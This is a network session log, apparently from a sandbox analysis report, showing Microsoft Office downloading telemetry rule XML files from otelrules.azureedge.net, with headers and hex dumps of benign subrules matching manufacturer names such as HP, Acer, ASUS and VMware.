Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:29 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:29 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1e9ba10d-901e-0029-2907-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074329Z-r1cf579d778g2t6ghC1EWRfggs0000000150000000002qfe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:30 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:29 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3de6f1c3-b01e-003d-6e01-48d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074329Z-r1cf579d7782ctslhC1EWRfbrw000000028g000000001nsf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:29 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:29 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 27a1a40f-f01e-0096-7d0b-4810ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074329Z-r1cf579d778kr8xrhC1EWRfkun0000000250000000003711 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:30 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:29 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:29 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: c4bc35ba-101e-007a-7206-48047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074329Z-r1cf579d778zvkpnhC1EWRv23g00000001xg0000000048un x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:30 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:31 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:31 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: aae5b6c6-f01e-005d-7a06-4813ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074331Z-r1cf579d778t6txphC1EWRsd44000000029g0000000015yk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:32 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:31 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 682fb484-401e-0083-5904-48075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074331Z-r1cf579d778dfdgnhC1EWRd3w000000001e000000000502n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:31 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 3fcfbabf-e01e-0052-0903-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074332Z-r1cf579d778t6txphC1EWRsd44000000027g000000002et9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:31 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:32 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: b569e8fb-501e-008c-5305-48cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074332Z-r1cf579d778g2t6ghC1EWRfggs0000000150000000002qgp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:32 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:31 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 22943564-b01e-0021-0b03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074332Z-r1cf579d778zvkpnhC1EWRv23g00000002400000000000t2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:33 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:34 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 3bfd724e-501e-0016-6705-48181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074334Z-r1cf579d778z4wflhC1EWRa3h000000001qg000000004e5a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:34 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:33 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 1f14184f-601e-0050-3802-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074334Z-r1cf579d7782ctslhC1EWRfbrw0000000280000000001w4e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:33 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:34 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 229463e4-b01e-0021-2a03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074334Z-r1cf579d7786c2tshC1EWRr1gc00000001dg000000001m6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:34 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
